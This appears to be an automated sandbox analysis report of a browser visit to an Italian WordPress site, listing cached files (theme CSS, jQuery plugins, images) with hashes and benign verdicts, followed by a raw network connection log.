Preview:	.PNG........IHDR..............pz....+tEXtCreation Time.za 31 dec 2005 17:13:07 +0100.......tIME........O.^....pHYs...........~.....gAMA......a.....IDATx.c._Y....._....``h..e.^...." ...Tp.k.w..?k.2}.`pu.zt....."{...@..............<..gzi....[.....zJ..<I.......C..JJ.ww.~&.D@....z.k3...6....3..!...:4..W?@.]>...D..PF."..?..=b@.O-,....h...{..=.... B...a`x...D.z.@.#Y....+).re..........3j.XY........g..MK.I...y..?..........V.5.~8......N....C...T.a.c.c.l..:....E......b.=...O.8&...k=.T....;..@.@...BBL::..].ul...5...-,v.....Z..<.$ .........G..5G......c-/.~\|.....}2.8.....IEND.B`.

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	6251
Entropy (8bit):	4.840033816578664
Encrypted:	false
SSDEEP:	96:sTNbRaUd/59mgVaEqE/fYfkQuwF3AfwciwNkWkl/dtYHz/y3vbO/Np3paSpaESvy:0NhiknOS4MnKaxu9NPXlZAnR1lR
MD5:	801192296C1C55C34288E51F8C186C39
SHA1:	2DA9DF4CC5DF6C9BC789AE85F6A81F9C5F2D0ECE
SHA-256:	523CCEA282E6CBA4630AF51C673315D942F4249E2ADA9A0390C37E6E58B9FCBB
SHA-512:	BD258F1B2EC6640D3F651D542E847531341F7A69B7BF7A460F7E563186B73E884EA3AF3DB42613460DAF99EF835E67EB14B9DD4A1B6FB34A4371F2E2DE9C70CB
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Testimonials.====================================================================================================================================================== */...avia-testimonial{.border-right-style: dashed;.border-right-width: 1px;.border-bottom-style: dashed;.border-bottom-width: 1px;.padding:20px;.}...avia-first-testimonial{clear:both;}..avia-testimonial-wrapper .avia-testimonial-row:last-child .avia-testimonial{border-bottom:none;}..avia-testimonial.avia-last-testimonial, .avia-grid-1-testimonials .avia-testimonial{border-right:none;}..avia-testimonial-image img{border-radius: 100px;}..avia-testimonial-image{float:left; margin:0 20px 0 0; width:80px; height:80px; border-radius: 100px; overflow: hidden; background-size: contain; background-position: center center;}..avia-testimonial-content{overflow: hidden;}..avia-testimoni

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8649), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	92865
Entropy (8bit):	5.459295230913507
Encrypted:	false
SSDEEP:	1536:qXCn0qVekwNGV/ASV86t+ev+eG+ek+e++eNHhei4EY0HdlzGK+R6h8dx1ZgklA4G:lqGd3VTJ8mMjH1Y0HhklA4/WmTHvpGsK
MD5:	773587D344C103ABE25F1E2C7E226DA4
SHA1:	D02EF736EE11469403B30C9C4C731700A6E5E98A
SHA-256:	6CE9FD03FA92D9837BE9C43A8CEF25C0D05500C73978B9480C4116D9B21B0EBC
SHA-512:	7EE8E7F171E662311BB3B8DE32C75ACE567D70F5E5DAC1D5372BC3C8A8E1F65F6F8E2BB6CC8A8E5F398390C18088F2543C2892C82575B59477CEA0C677856B26
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/
Preview:	<!DOCTYPE html>.<html lang="it-IT" class="html_stretched responsive av-preloader-disabled av-default-lightbox html_header_top html_logo_left html_main_nav_header html_menu_right html_custom html_header_sticky html_header_shrinking html_header_topbar_active html_mobile_menu_phone html_header_searchicon_disabled html_content_align_center html_header_unstick_top_disabled html_header_stretch_disabled html_minimal_header html_av-submenu-hidden html_av-submenu-display-click html_av-overlay-side html_av-overlay-side-classic html_av-submenu-noclone html_entry_id_838 av-no-preview html_text_menu_active ">.<head>.<meta charset="UTF-8" />... mobile setting -->.<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">.. Scripts/CSS and wp_head hook -->.<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />.<link rel="alternate" hreflang="it" href="https://www.cipassoitalia.it" />.<link rel="alternate" hrefl

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11126)
Category:	downloaded
Size (bytes):	11224
Entropy (8bit):	5.2603128465032745
Encrypted:	false
SSDEEP:	192:JrprDNvD66fPP/+I6OP1fQP0OIr96DB6MHXcwr1RF:JrprxG6fPP3P1fQMOIsDsMMS
MD5:	79B4956B7EC478EC10244B5E2D33AC7D
SHA1:	A46025B9D05E3DF30D610A8AEF14F392C7058DC9
SHA-256:	029E0A2E809FD6B5DBE76ABE8B7A74936BE306C9A8C27C814C4D44AA54623300
SHA-512:	217F86FEE871FA36ECA4F25830E3917C7BF57A681140B135C508AA32F2A1E3EFF5A80661F3B5BA46747D0C305AF10B658D207F449550F3D417D9683216FEEA8F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Preview:	/! jQuery Migrate v3.3.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],i=1;i<=3;i++){if(+o[i]<+n[i])return 1;if(+n[i]<+o[i])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.3.2",n.console&&n.console.log&&(s&&e("3.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"),s.migrateWarnings&&n.console.log("JQMIGRATE: Migrate plugin loaded multiple times"),n.console.log("JQMIGRATE: Migrate is installed"+(s.migrateMute?"":" with logging active")+", version "+s.migrateVersion));var r={};function u(e){var t=n.console;s.migrateDeduplicateWarnings&&r[e]\|\|(r[e]=!0

Chrome Cache Entry: 364

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1294
Entropy (8bit):	4.564848324745613
Encrypted:	false
SSDEEP:	24:qeybvLD+fCq6GewA6GbCRkFG8k6u4TEnS+GbcEjXISqLJs:qeybP+K9GewbGbGDGV4Sx
MD5:	76BD37C22873548C765D47678315ADEE
SHA1:	189F4CFE973947DC16D4E629BB83468D96AF80C4
SHA-256:	23CC3301BBD30228A15F284C7247FAA7FA1F64740240113FC1BF01120C0889F2
SHA-512:	FE6AB43C633E0770050DEFD978E9D825B656418E3F3AEF447F91B8E75998D5B7D520E5C194942B490875A121E8BFB2B2BCDEC84DC7CFB6F8C38B50374FAC32AF
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/promobox.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Promo Box.====================================================================================================================================================== */...av_promobox{.position: relative;.border-width: 1px;.border-style: solid;.overflow: hidden;.padding:20px 30px;.clear:both;.margin:50px 0;.width:100%;.float:left;.}...flex_column >.av_promobox:first-child{margin-top:0;}...av_promobox .avia-button{.right: 30px;.top: 50%;.position: absolute;.z-index: 2;.}...avia-promocontent{.margin-right:200px;.position: relative;.z-index: 3;..}...avia-promocontent p{.font-size: 14px;.}...avia-button-no .avia-promocontent{margin:0;}..avia-button-no .avia-button{display:none;}...av_promobox .avia-button.avia-size-small{ margin-top:-15px; }..av_promobox .avia-button.avia-size-medium{ margin-top:-19px; }..av_promobox .avia-button.avia-size-larg

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2070
Entropy (8bit):	4.783037945492784
Encrypted:	false
SSDEEP:	48:7Nzl9vMJyJTDjQJYWn5u5Mi5tbfW4fJQIMWR:797DhQIBR
MD5:	C22B0CFEC5A0A2EC1E10701B03EAA161
SHA1:	01F6683E59659CB223BF2F61528D8F8772D86543
SHA-256:	A77CE3A51AA38669B59928125FACEE4EA3D346C2B609ABF7A39014943C5C2458
SHA-512:	7A6E67C18D713C777E18929E6C6F4735B89751BAAC0A6F3C6AE0B814192058397D2A9B096CC02A33E003FEAA40E8F2EA22945E750BE9DCD2C28027D75ABF400A
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Slideshow Fullscreen.====================================================================================================================================================== /...avia-fullscreen-slider {border-top:none;}..avia-fullscreen-slider .avia_loading_icon{position: absolute;}..avia-fullscreen-slider .avia-slideshow{margin: 0; height:1500px; height:100vh; min-height: 250px;}..avia-fullscreen-slider .avia-slideshow-inner{width:100%; height:100%; position: absolute;...-ms-perspective: 1000px; /fixes: ie11 css flicker of following elements on transition*/.-ms-backface-visibility: hidden;..}...avia-fullscreen-slider .avia-slideshow>ul>li{width:100%; height:100%;.background-size: cover;.background-position: center center;.}...avia-fullscreen-slider .avia-slideshow[data-image_attachment="fixed"]>ul>li{..background-attachment: fixed;.}

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	672
Entropy (8bit):	4.967792751769964
Encrypted:	false
SSDEEP:	12:2PHM7CYzBiRiocnsG6p6yf2agxNPhz+feTnntWyXoHQIOeYYBMb:2kOYzBci3XSNgx9xnwyYwAYYBMb
MD5:	1413AE49C9023A3F89AE95C070FC0CEF
SHA1:	90D49808B303E03CFC8E4C6256FF1234282967D4
SHA-256:	E3572EB2976BB93C07DD313D9A917D4C6CF89E1A118A48B391B8DE918F999D86
SHA-512:	3F67E87FD15B75E5C5A52F45F546874C0605D2759CDB8487B459CFBDAB44BB8752ED354A367B81089F6E31654BB3608EF71C60CDCD2816BA34F9E3F8CF45D144
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.js?ver=6.0.9
Preview:	(function($).{ .."use strict";.....$('body').on('click','.av-lazyload-video-embed .av-click-to-play-overlay', function(e){......if(document.cookie.match(/aviaPrivacyVideoEmbedsDisabled/))...{....if (e.originalEvent === undefined) return; //human click only..... ....var src_url = $(this).parents('.avia-video').data('original_url');....if( src_url ) window.open(src_url , '_blank'); ........return;...}.........var clicked .= $(this),....container.= clicked.parents('.av-lazyload-video-embed'),....video..= container.find('.av-video-tmpl').html();........container.html(video);..});....$('.av-lazyload-immediate .av-click-to-play-overlay').trigger('click');...}(jQuery));

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (551)
Category:	dropped
Size (bytes):	227261
Entropy (8bit):	5.483775665452673
Encrypted:	false
SSDEEP:	3072:vHdwBc2ltglAnjnc5g0Ci0s0LLM+L3Fv+zMqxAKp:vHdYtgkg5gLi0s0LLM+L3FPq6Kp
MD5:	7204A090B5E030D4C2CD9FF168D00C7A
SHA1:	B68C14E834050BD237D222F7F8772C8D87EC1BE9
SHA-256:	1B16FB7B71EB885AB2F0310063BA192F2786F428CD4F52C21596C88CCD8DD848
SHA-512:	DFD75CC95F1FC5919B7E7EF5430C45E09069E2B0A0D9EA6D5333737CA3FBE297320C067654E54D79A4CACA17E4B413BE5B09E3C55EE835308FF345B533F676AC
Malicious:	false
Reputation:	low
Preview:	.(function(){function La(ba){var ta=0;return function(){return ta<ba.length?{done:!1,value:ba[ta++]}:{done:!0}}}function u(ba){var ta="undefined"!=typeof Symbol&&Symbol.iterator&&ba[Symbol.iterator];if(ta)return ta.call(ba);if("number"==typeof ba.length)return{next:La(ba)};throw Error(String(ba)+" is not an iterable or ArrayLike");}function Pa(ba){for(var ta,$a=[];!(ta=ba.next()).done;)$a.push(ta.value);return $a}function Va(ba){return ba instanceof Array?ba:Pa(u(ba))}.var Of="function"==typeof Object.create?Object.create:function(ba){function ta(){}ta.prototype=ba;return new ta},Pf;if("function"==typeof Object.setPrototypeOf)Pf=Object.setPrototypeOf;else{var Mh;a:{var Nh={a:!0},Oh={};try{Oh.__proto__=Nh;Mh=Oh.a;break a}catch(ba){}Mh=!1}Pf=Mh?function(ba,ta){ba.__proto__=ta;if(ba.__proto__!==ta)throw new TypeError(ba+" is not extensible");return ba}:null}var Fm=Pf;.function Gm(ba,ta){ba.prototype=Of(ta.prototype);ba.prototype.constructor=ba;if(Fm)Fm(ba,ta);else for(var $a in ta)if("p

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2106
Entropy (8bit):	5.089628914590677
Encrypted:	false
SSDEEP:	48:cL3B241lh+3bn3c3HCbmABEzEO31mzB3aswIzD77TNuw+lYD0JoKT:cL30O/qaZQkSPNJKYYGKT
MD5:	1576E8FB56FD21B095F1DAC17969D2B8
SHA1:	49A5726BA4EEA18651378C5C3DE530C6A9BF9688
SHA-256:	EFDD464E865BD091AC6944B9D999124C8E19FA28A23F25F55651BBDEA9A4BDA9
SHA-512:	56C1A18C78D63A935B06A4358B029D36D938C110F1EF822B723140E0987CE0B2D1135FFE22B54966D129DDD7A4AE0E5EDD95CCFA5928D5F5FBEE92A79A940FF7
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-compat.js?ver=4.5
Preview:	/* ..this prevents dom flickering for elements hidden with js, needs to be outside of dom.ready event.also adds several extra classes for better browser support ..this is a separate file that needs to be loaded at the top of the page. other js functions are loaded before the closing body tag to make the site render faster.*/."use strict"..var avia_is_mobile = false;.if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement).{..avia_is_mobile = true;..document.documentElement.className += ' avia_mobile ';.}.else.{..document.documentElement.className += ' avia_desktop ';.}.document.documentElement.className += ' js_active ';..(function(){..//set transform property. var prefix = ['-webkit-','-moz-', '-ms-', ""], transform = "";. for (var i in prefix). { . .// http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/. .if(prefix[i]+'transform' in document.documentElement.st

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20087)
Category:	dropped
Size (bytes):	20216
Entropy (8bit):	5.338721920008614
Encrypted:	false
SSDEEP:	384:lPhVPXQ2G2XAQyqVxRQ5giCCMLtA15h5/F6l8aZwHwztLCpmst:lPBIt8I5h5t1qkOLCMst
MD5:	BA6CF724C8BB1CF5B084E79FF230626E
SHA1:	F455C5F153F872E52265F87A644FF89FE14A6FB6
SHA-256:	3FDDC6D28ABA3C13D64CFD4847C333FF48C71D4A5A58BD1A0494CA6AE8AC1BB4
SHA-512:	22C361E44DDE632DEDAFF2625F6631E2FB02BA3B6487097B48BAA09F02CD81FD381EBB7D053F525E52E56655B1F8E2B89DDCC0A002E1B0C35C0A6920823641D7
Malicious:	false
Reputation:	low
Preview:	/! Magnific Popup - v1.1.0 - 2016-02-20. http://dimsemenov.com/plugins/magnific-popup/.* Copyright (c) 2016 Dmitry Semenov; */.!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):window.jQuery\|\|window.Zepto)}(function(a){var b,c,d,e,f,g,h="Close",i="BeforeClose",j="AfterClose",k="BeforeAppend",l="MarkupParse",m="Open",n="Change",o="mfp",p="."+o,q="mfp-ready",r="mfp-removing",s="mfp-prevent-close",t=function(){},u=!!window.jQuery,v=a(window),w=function(a,c){b.ev.on(o+a+p,c)},x=function(b,c,d,e){var f=document.createElement("div");return f.className="mfp-"+b,d&&(f.innerHTML=d),e?c&&c.appendChild(f):(f=a(f),c&&f.appendTo(c)),f},y=function(c,d){b.ev.triggerHandler(o+c,d),b.st.callbacks&&(c=c.charAt(0).toLowerCase()+c.slice(1),b.st.callbacks[c]&&b.st.callbacks[c].apply(b,a.isArray(d)?d:[d]))},z=function(c){return c===g&&b.currTemplate.closeBtn\|\|(b.currTemplate.closeBtn=a(b.st.closeMarkup.replace("%title%",b.st.tClose)),g=c),

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1222 x 627, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1490857
Entropy (8bit):	7.989958536302157
Encrypted:	false
SSDEEP:	24576:SEOyLri+sYNFU9QgsEJhobTPgUXedbQOyxuh+ORCoJC5VXcy2Q9O6j:/zBsqKigsEkbTgUXedspURCmnyZ9Hj
MD5:	2AB043490AC102D475BF438F716917C0
SHA1:	E2CA42DBE4B58C9732CB8B6857374CA65CE8B26C
SHA-256:	090E5EEF655D7585F9CB8A875CC1F0AD9D1E55EDA45086F399BBEC7A5502C17A
SHA-512:	4488A2A31BD374D5DECDF282CE3CDB05F927D6C8686DB8ED3A64C75F964953059A598D49938D2AE81077C170371A88CDAC663E6C9D8C63647D8F134A618393EF
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png
Preview:	.PNG........IHDR.......s........0...KiCCPICC Profile..X..y.8.]....\|....<.d..y.g.....C.$c.BH%.+.B%".J.zH.H.J..B..z..y.....}].....k.....un...\|##.....G.P.L....=..s..x...\...H};;+.......a.m.Oe6d.w...0..D....`...M...U.P..Hj.....P\|L...+`....8s..m..../m.89......./5...~...G..e./.}...J..,(...........y"a.1.5.......~.d.....[s.,8#Jtd....;......[.(\i..f..s..6...r...x>.....D....o...A..5s..Gp...a..V.....Y...&.a6V.t.@..9....H..;........<.....u!..........M....cC.......0...O.vr.1...q......X6:..r.G+1...7.5.a.~a.;.D..l.G..RM........y:.bn.....;.m...M......? B.....h7..s..02.;r. ..q[.......(Bd..6?J0 .t...c..8..(..xAn.G.F..9m.J....u.X.C`..A,\..n..(O.[.._[=&..PA...2..#\7{".#H..`.....3....q0.....S..n..m...30... ....9.6....P.K./\..ap......S......mJ.o....91..#....#..D.4QV.S...(5...y...A.._......(i..Yi.&`.&..../P..Le..J...KF..8..J....5+.T.m.7.../..1..Dc../.G...zx......W.#e......~..m........}....7'2.....D. .-...lE."om.?........a.PX......'......o...$l...pw..%(8._......#...

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 13:19:07.912002087 CET	49673	443	192.168.2.16	204.79.197.203
Jan 9, 2025 13:19:08.215657949 CET	49673	443	192.168.2.16	204.79.197.203
Jan 9, 2025 13:19:08.655390978 CET	49708	80	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:08.656023979 CET	49709	80	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:08.660264969 CET	80	49708	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:08.660423040 CET	49708	80	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:08.660646915 CET	49708	80	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:08.660943985 CET	80	49709	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:08.661007881 CET	49709	80	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:08.665453911 CET	80	49708	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:08.821578979 CET	49673	443	192.168.2.16	204.79.197.203
Jan 9, 2025 13:19:09.351367950 CET	80	49708	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:09.397526026 CET	49708	80	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:09.434406042 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:09.434429884 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:09.434726954 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:09.434935093 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:09.434947014 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.027777910 CET	49673	443	192.168.2.16	204.79.197.203
Jan 9, 2025 13:19:10.132695913 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.133091927 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.133100033 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.134134054 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.134217978 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.136085987 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.136147976 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.136329889 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.136337042 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.187585115 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.575185061 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575249910 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575272083 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575298071 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575320005 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.575351000 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575371027 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575371981 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.575402975 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575426102 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.575434923 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.575469017 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.575700998 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575745106 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575768948 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.575776100 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.575845003 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.594739914 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.594789982 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.594883919 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.595223904 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.595242023 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.599237919 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.599277973 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.599425077 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.599612951 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.599647999 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.599752903 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.600071907 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.600112915 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.600172043 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.600784063 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.600812912 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.600900888 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.605714083 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.605727911 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.607548952 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.607573986 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.607697010 CET	49716	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.607739925 CET	443	49716	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.608365059 CET	49717	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.608385086 CET	443	49717	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.622607946 CET	49689	80	192.168.2.16	192.229.211.108
Jan 9, 2025 13:19:10.688009024 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.688071966 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.688106060 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.688112974 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.688175917 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.688339949 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.688381910 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.688405037 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.688409090 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.688455105 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.688455105 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.689686060 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.689737082 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.689815998 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.689815998 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.689821959 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.690212965 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.690639019 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.690737009 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.690742016 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.690789938 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.690815926 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.690867901 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.691272020 CET	49710	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.691283941 CET	443	49710	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.691885948 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.691904068 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:10.691993952 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.693054914 CET	49719	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:10.693064928 CET	443	49719	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.285625935 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.286077976 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.286123037 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.286484957 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.286798000 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.286859989 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.286961079 CET	49713	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.316293955 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.316651106 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.316673994 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.317771912 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.319024086 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.319108009 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.319242001 CET	49714	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.327337027 CET	443	49713	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.359335899 CET	443	49714	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.364341974 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.364734888 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.364751101 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.365806103 CET	443	49715	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:11.365905046 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.366223097 CET	49715	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:11.366286993 CET	443	49715	89.46.108.67	192.168.2.16
